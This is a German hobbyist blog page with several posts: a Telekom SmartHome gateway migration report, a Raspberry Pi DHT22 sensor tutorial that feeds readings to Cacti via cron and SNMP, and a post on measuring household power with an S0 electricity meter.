Nach dem Gateway-Tausch passierte etwas Unerwartetes: Die neue Home Base hatte meine komplette Konfiguration und alle Geräte. Die ich vorher gelöscht hatte. Die Geräte kannten aber den Funkschlüssel der alten Base und weigerten sich mit der neuen zu reden. Das Ergebnis war ein Dauerbeschuss des Funkmoduls mit ungültigem Traffic. Die Base war alle paar Sekunden überlastet.

Zum Löschen der Geräte brauchte man das Funkmodul. Also hatte man immer ein paar Sekunden Zeit bevor es wieder abschmierte. Ein Neustart der Home Base dauerte 15 Minuten. Das ganze Löschen und Neu-Anlernen hat knapp drei Stunden gedauert, inklusive Geräte die vor dem Neu-Anlernen einen eigenen Factory-Reset brauchten.

Fazit

Die Hardware ist ein klares Upgrade. Der Migrationsprozess ist eine Katastrophe. Ein Gateway-Tausch sollte eine Sache von Minuten sein, nicht von Stunden. Das Telekom SmartHome hat den Vorteil verschiedene Hersteller kombinieren zu können. Das ist nach wie vor der Grund warum ich dabei bleibe. Die Bilder zeigen die alte und neue Home Base, innen und aussen.

Fragen? Einfach melden.

Telekom SmartHome im Test: Erfahrungen mit QIVICON und Home Base

3. Januar 2017 / Sebastian van de Meer / Keine Kommentare

Das Zeug funktioniert ja zu 85% super… Aber hin und wieder könnte ich das Zeug einfach aus dem Haus treten :-/

Es ist ein Problem aufgetreten (500)

Die gewünschte Seite ist zurzeit nicht erreichbar.

Laden Sie die Seite zunächst bitte neu. Erhalten Sie wiederholt diese Meldung, versuchen Sie es zu einem späteren Zeitpunkt wieder, da evtl. Wartungsarbeiten durchgeführt werden.

Im Falle einer Meldung an den QIVICON Support stets angeben:
Fehlercode 586b87c131d73:0

Es ist ein Problem aufgetreten (500) Die gewünschte Seite ist zurzeit nicht erreichbar. Laden Sie die Seite zunächst bitte neu. Erhalten Sie wiederholt diese Meldung, versuchen Sie es zu einem späteren Zeitpunkt wieder, da evtl. Wartungsarbeiten durchgeführt werden. Im Falle einer Meldung an den QIVICON Support stets angeben: Fehlercode 586b87c131d73:0 — QIVICON Telekom SmartHome Error Fehler

Siehe auch: HomeMatic Firmware-Updates, QIVICON Home Base 2.0: Migration vom Telekom SmartHome und was dabei schiefgeht

Fragen? Einfach melden.

Temperatur und Luftfeuchtigkeit mit DHT22 am Raspberry Pi messen

23. November 2014 / Sebastian van de Meer / Ein Kommentar

Meine Wetterstation hatte aufgegeben. Wirklich interessiert haben mich aber eh nur Temperatur und Luftfeuchtigkeit draußen. Das sollte ein Raspberry Pi mit einem DHT22 für zwei Euro hinbekommen — und die Daten landen direkt in meinem Cacti.

Update März 2026 — Dieser Beitrag ist von 2014 und einer meiner ältesten hier im Blog. Die Grundidee — DHT22 an den GPIO, Werte per Cron einsammeln, per SNMP an Cacti liefern — funktioniert unverändert. Ich habe den Beitrag komplett überarbeitet und den Software-Teil auf Python aktualisiert. Die ursprünglich verwendete C-Bibliothek wiringPi wurde 2019 vom Autor offline genommen und lol_dht22 wird nicht mehr gepflegt. Der Ansatz selbst ist zeitlos.

Was du brauchst

Einen Raspberry Pi — egal welches Modell, solange GPIO-Pins vorhanden sind
Einen DHT22 / AM2302 Sensor (2–5 €)
Einen 4,7 kΩ Widerstand als Pull-up
Drei Kabel

Die Verkabelung ist simpel: VCC an 3,3 V (Pin 1), Data an GPIO 4 (Pin 7), GND an GND (Pin 6). Der 4,7 kΩ Widerstand kommt zwischen VCC und Data. Den handgezeichneten Schaltplan habe ich unten in der Bildergalerie.

Sensor auslesen — Python

Auf einem aktuellen Raspberry Pi OS brauchen wir die Adafruit CircuitPython DHT Bibliothek und libgpiod:

sudo apt install python3-pip libgpiod2
pip3 install adafruit-circuitpython-dht

Dann ein kleines Script /usr/local/bin/read_dht22.py:

#!/usr/bin/env python3
import adafruit_dht
import board
import sys

sensor = adafruit_dht.DHT22(board.D4)
try:
    print(f"{sensor.humidity:.1f}")
    print(f"{sensor.temperature:.1f}")
except RuntimeError:
    sys.exit(1)
finally:
    sensor.exit()

Ausführbar machen und testen:

chmod +x /usr/local/bin/read_dht22.py
/usr/local/bin/read_dht22.py
73.9
9.3

Erste Zeile Luftfeuchtigkeit, zweite Zeile Temperatur. Der DHT22 liefert nicht bei jedem Aufruf saubere Daten — manchmal kommt ein RuntimeError. Das ist normal bei diesem Sensor, deswegen der try/except und der Exit-Code. board.D4 entspricht GPIO 4, also Pin 7 auf dem Board.

Werte per Cron einsammeln

Per Cron-Job jede Minute:

* * * * * /var/scripts/getsensor.sh

Das Script /var/scripts/getsensor.sh:

#!/bin/bash
/usr/local/bin/read_dht22.py > /home/pi/both.txt 2>/dev/null

while [ ! -s "/home/pi/both.txt" ]; do
    sleep 5
    /usr/local/bin/read_dht22.py > /home/pi/both.txt 2>/dev/null
done

sed '2d' /home/pi/both.txt > /home/pi/humid.txt
sed '1d' /home/pi/both.txt > /home/pi/temp.txt

Wenn der Sensor beim ersten Versuch keine Daten liefert, probiert das Script alle fünf Sekunden erneut. Am Ende liegen Luftfeuchtigkeit und Temperatur in separaten Textdateien unter /home/pi/.

Ab in den Cacti — SNMP

Damit Cacti die Werte abfragen kann, brauchen wir SNMP auf dem Pi:

sudo apt install snmpd snmp

In der /etc/snmp/snmpd.conf zwei Pass-through OIDs anlegen. Wird eine dieser OIDs per SNMP abgefragt, führt der snmpd das zugehörige Script aus und liefert dessen Ausgabe als Antwort:

pass .1.3.6.1.2.1.25.1.8.1  /bin/sh  /usr/local/bin/humid
pass .1.3.6.1.2.1.25.1.8.2  /bin/sh  /usr/local/bin/temp

Die beiden Scripts müssen drei Zeilen ausgeben — die OID, den Datentyp und den Wert:

/usr/local/bin/temp:

#!/bin/bash
echo .1.3.6.1.2.1.25.1.8.2
echo gauge
cat /home/pi/temp.txt

/usr/local/bin/humid:

#!/bin/bash
echo .1.3.6.1.2.1.25.1.8.1
echo gauge
cat /home/pi/humid.txt

Test:

snmpget -v2c -c public localhost .1.3.6.1.2.1.25.1.8.1
iso.3.6.1.2.1.25.1.8.1 = Gauge32: 76

snmpget -v2c -c public localhost .1.3.6.1.2.1.25.1.8.2
iso.3.6.1.2.1.25.1.8.2 = Gauge32: 9

Damit lässt sich im Cacti ein Graph anlegen. Etwas von hinten durch die Brust ins Auge — aber es funktioniert seit über elf Jahren zuverlässig. Die Template-Exports für Cacti gibt es hier: cacti-temp.tar.gz

Hinweise

SNMP-Sicherheit — Im Beispiel steht public als Community-String und SNMPv2c. Für ein Heimnetz reicht das. In einem produktiven Umfeld sollte man SNMPv3 mit Authentifizierung verwenden und den Zugriff per Firewall auf den Cacti-Server beschränken.

Alternative zu Cacti — Wer kein Cacti hat: Grafana mit InfluxDB oder Prometheus wäre die modernere Alternative. Der SNMP-Weg funktioniert dort genauso, alternativ kann man die Werte auch direkt per Telegraf oder einen kleinen Python-Exporter einliefern.

Warum kein wiringPi mehr? — Gordon Henderson hat das wiringPi-Repository 2019 offline genommen. Es gibt Forks auf GitHub, die auf neueren Pi-Modellen funktionieren, aber offiziell wird die Bibliothek nicht mehr gepflegt. Für neue Projekte ist Python mit der Adafruit-Bibliothek der bessere Weg — weniger Kompilieraufwand, bessere Fehlerbehandlung und aktive Wartung.

Der Sensor da draußen

Der Sensor muss nach draußen, vor Wasser geschützt sein, aber nicht hermetisch versiegelt — sonst kann er keine Luftfeuchtigkeit messen.

Meine Lösung: Ein PVC-Rohr, den Sensor dort mit etwas Silikon eingeklebt, eine Seite mit Deckel verschlossen. So kann kein Wasser an den Sensor laufen, Luft kommt aber noch ran. Angebracht am Pfosten der Satellitenschüssel — dort oben steht die Luft selten, es kommt niemand ran und es fällt nicht auf.

Das Ding hängt dort seit 2014. Funktioniert.

Siehe auch: Raspberry Pi als Konsolenserver, Stromverbrauch messen mit Raspberry Pi, Eltako DSZ12E und Cacti

Fragen? Einfach melden.

Stromverbrauch messen mit Raspberry Pi, Eltako DSZ12E und Cacti

12. November 2014 / Sebastian van de Meer / Keine Kommentare

Siehe auch: Temperatur und Luftfeuchtigkeit mit DHT22 am Raspberry Pi messen

Im Keller hing ein alter Ferraris-Zähler mit Drehscheibe. Zählt brav für den Energieversorger, liefert aber keine Daten. Ich wollte den Stromverbrauch im Haus grafisch auswerten, am besten mit Cacti. Dafür braucht man einen Zähler mit S0-Schnittstelle.

Der Zähler

Mein Energieversorger wollte für einen digitalen Zähler Fantasiepreise. Also selbst kaufen. Die Wahl fiel auf den Eltako DSZ12E-3x80A, einen Drehstromzähler mit S0-Ausgang. 3 × 80 A reicht für den normalen Hausgebrauch locker. Kostenpunkt damals rund 75 Euro.

Wichtig: Dieser Zähler ersetzt nicht den offiziellen Zähler des Versorgers. Er wird dahinter eingebaut. Das darf nicht jeder machen. Wer nicht weiß ob er es darf, darf es nicht. Ein Elektriker braucht dafür eine halbe bis eine Stunde, mit Anfahrt kommt man auf 100 bis 150 Euro.

S0-Schnittstelle und Raspberry Pi

Die S0-Schnittstelle ist ein potentialfreier Impulskontakt. Pro verbrauchter Kilowattstunde gibt der Zähler eine bestimmte Anzahl Impulse aus, beim DSZ12E sind es 2000 Impulse pro kWh. Der Raspberry Pi zählt diese Impulse über einen GPIO-Pin.

Die Verkabelung ist simpel: S0-Ausgang des Zählers an einen GPIO-Pin und GND des Raspberry Pi. Ein Pullup-Widerstand sorgt dafür, dass der Pin sauber zwischen High und Low wechselt. Bei jedem Impuls wird ein Zähler hochgezählt und der aktuelle Verbrauch berechnet.

Die Auswertung habe ich nach dieser Anleitung aufgebaut: Stromzähler mit S0-Schnittstelle vom Raspberry Pi auswerten (Johannes Weber). Ein Python-Script zählt die Impulse und stellt die Werte per SNMP bereit.

Cacti-Graphen

Cacti fragt den Raspberry Pi per SNMP ab und zeichnet die Graphen. Neben dem aktuellen Verbrauch in Watt lassen sich mit zusätzlichen SNMP-Abfragen auch Tagesverbrauch, Wochenverbrauch und Monatsverbrauch darstellen. Die Berechnung macht das Script auf dem Pi, Cacti muss nur die fertigen Werte abgreifen und zeichnen.

Das Ergebnis: Auf einen Blick sieht man wann die Waschmaschine lief, wann der Herd an war und wie hoch die Grundlast nachts ist. Verbrauchsspitzen fallen sofort auf.